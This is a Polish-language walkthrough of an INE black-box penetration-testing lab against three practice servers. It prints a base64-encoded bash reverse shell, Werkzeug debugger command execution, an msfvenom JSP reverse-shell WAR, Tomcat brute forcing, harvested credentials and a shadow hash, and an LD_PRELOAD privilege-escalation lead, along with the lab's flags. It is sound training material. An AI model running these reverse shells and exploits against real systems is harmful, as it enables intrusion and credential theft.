Description
Lab Environment
In this lab environment, the user is going to get access to a Kali GUI instance. Three machines can be accessed using the tools installed on Kali on server1.ine.local, server2.ine.local and server3.ine.local.
Objective: Attack all machines to retrieve the flags!
Tools
The best tools for this lab are:
- cURL
- dirb
- Nmap
- Metasploit Framework
- A Web Browser
Please go ahead ONLY if you have COMPLETED the lab or you are stuck! Checking the solutions before actually trying the concepts and techniques you studied in the course, will dramatically reduce the benefits of a hands-on lab!
Black-Box Penetration Test 3 - 21.06.2022 r.
server1.ine.local
Nmap
root@INE:~# nmap -sC -sV server1.ine.local
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-21 16:42 IST
Nmap scan report for server1.ine.local (192.255.191.3)
Host is up (0.0000090s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Werkzeug httpd 0.9.6 (Python 2.7.13)
|_http-title: Site doesnt have a title (text/plain; charset=utf-8).
MAC Address: 02:42:C0:FF:BF:03 (Unknown)
Podobnie jak w poprzednim boxie, mamy tutaj Werkzeug. Tym razem nie jest zabezpieczony pinem. Można zatem spróbować od razu z Command Execution. __import__('os').popen('whoami').read();
. Jak widać pomyślnie.
Pierwsza maszyna poszła bardzo sprawnie.
root@INE:~# echo 'bash -c "bash -i >& /dev/tcp/192.211.54.2/9001 0>&1"'|base64
YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMjExLjU0LjIvOTAwMSAwPiYxIgo=
__import__('os').popen('echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMjExLjU0LjIvOTAwMSAwPiYxIgo= | base64 -d | bash').read();
Nie widać na systemie żadnej flagi, ale sprawdziłem folder /home
.
Nietypowo dużo użytkowników. Sprawdziłem również pliki. Tylko użytkownik auditor
ma .bash_history
.
Okazało się, że .bash_history
zawiera ciekawą linię zawierającą dane o drugim hoście.
mysql -h 192.238.232.4 -u root -p fArFLP29UySm4bZj
server2.ine.local
root@INE:~# nmap -sC -sV server2.ine.local
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-21 18:44 IST
Nmap scan report for server2.ine.local (192.211.54.4)
Host is up (0.000010s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
3306/tcp open mysql MySQL 5.5.62-0ubuntu0.14.04.1
| mysql-info:
| Protocol: 10
| Version: 5.5.62-0ubuntu0.14.04.1
| Thread ID: 46
| Capabilities flags: 63487
| Some Capabilities: Support41Auth, Speaks41ProtocolOld, LongPassword, InteractiveClient, DontAllowDatabaseTableColumn, SupportsTransactions, SupportsLoadDataLocal, FoundRows, Speaks41ProtocolNew, IgnoreSpaceBeforeParenthesis, SupportsCompression, ODBCClient, ConnectWithDatabase, IgnoreSigpipes, LongColumnFlag, SupportsAuthPlugins, SupportsMultipleResults, SupportsMultipleStatments
| Status: Autocommit
| Salt: qe(3i:$A\.m\d`6-}R`j
|_ Auth Plugin Name: mysql_native_password
MAC Address: 02:42:C0:D3:36:04 (Unknown)
Przejrzałem internet pod kątem ewentualnych podatności tej wersji. Niestety nic konkretnego nie znalazłem, ale mam dane logowania z poprzedniego hosta.
show databases;
use mysql;
show tables;
select * from user;
Doczytałem, że mając dostęp do bazy MySQL
, można spróbować wysłać payload m.in. przez Metasploit
oraz moduł exploit/multi/mysql/mysql_udf_payload
.
flag
4c537c0dfd18bafdcd59f53c7015550e
server3.ine.local
root@INE:~# nmap -sC -sV server3.ine.local
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-21 17:55 IST
Nmap scan report for server3.ine.local (192.255.191.5)
Host is up (0.000010s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e1:c9:8e:a0:ca:07:1d:e9:65:06:f2:8e:cd:51:fa:76 (RSA)
| 256 82:26:cc:66:66:5b:29:7a:82:85:95:c2:43:a0:d4:6a (ECDSA)
|_ 256 a9:85:9f:da:86:52:af:8d:ca:43:39:89:fa:9c:59:11 (ED25519)
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
| http-methods:
|_ Potentially risky methods: PUT DELETE
|_http-title: Site doesnt have a title (text/html).
|_http-server-header: Apache-Coyote/1.1
MAC Address: 02:42:C0:FF:BF:05 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Zatem na porcie 8080
mamy Apache Tomcat 8.0.53
Bardzo pomocny jest poradnik od hacktricks
.
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/tomcat
Próbowałem proste hasła i loginy jednak nie przechodziły.
Kolejny punkt to sprawdzenie bruteforcem.
msfconsole
use auxiliary/scanner/http/tomcat_mgr_login
tomcat:s3cret
I jest dostęp do panelu Tomcata.
W tym momencie można uzyskać shell jako tomcat
poprzez deploy pliku .war
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.238.232.2 LPORT=9090 -f war -o revshell.war
http://server3.ine.local:8080/revshell/
flag1
EBCFE35ACC27E0EA91CF3A5AB600BABE
Ponadto zdaje się, że “jesteśmy” w kontenerze Dockera
.
Mamy na boxie użytkownika robert
a co najciekawsze, mamy prawo odczytu do pliku /etc/shadow
`robert:$6$D4O99Z5L$Q38CW.ym42GmIbjZRh8DA2rtLHxXgMj.ahVbrBrbWvuBXmP555cGuLG1hkQE1R0eQVX48Rs7yecdU7V96u5Tf0:17822::::::
Próbowałem złamać hasło Hashcatem
jednak jest zbyt silne. Postanowiłem poszukać czegoś w plikach. Folder domyślny tomcata
ma ciekawe archiwum conf.tar.gz
.
tomcat@server3:~/conf$ find .
find .
.
./tomcat-users.xml
./context.xml
./catalina.properties
./catalina.policy
./web.xml
./tomcat-users.xsd
./logging.properties
./server.xml
./Catalina
./Catalina/localhost
./conf.tar.gz
Po rozpakowaniu okazało się, że jest to backup folderu, ale w typowym pliku tomcat-users.xml
są zapisane dane dostępowe.
cat tomcat-users.xml
<tomcat-users>
<user username="tomcat" password="s3cret" roles="manager-gui,admin-gui"/>
<user username="robert" password="robert@1234567890!@#" roles="manager-gui,admin-gui"/>
</tomcat-users>
robert:robert@1234567890!@#
flag2
EC2986081E84BB845541D5CC0BEE13B3
Root na server3.ine.local
Sprawdzając sudo -l
widzimy coś nietypowego.
robert@server3:~$ sudo -l
sudo -l
Matching Defaults entries for robert on server3.ine.local:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
env_keep+=LD_PRELOAD
User robert may run the following commands on server3.ine.local:
(root) NOPASSWD: /bin/ls
https://www.hackingarticles.in/linux-privilege-escalation-using-ld_preload/
flag3
560648FC63F090A8CF776326DC13FAC7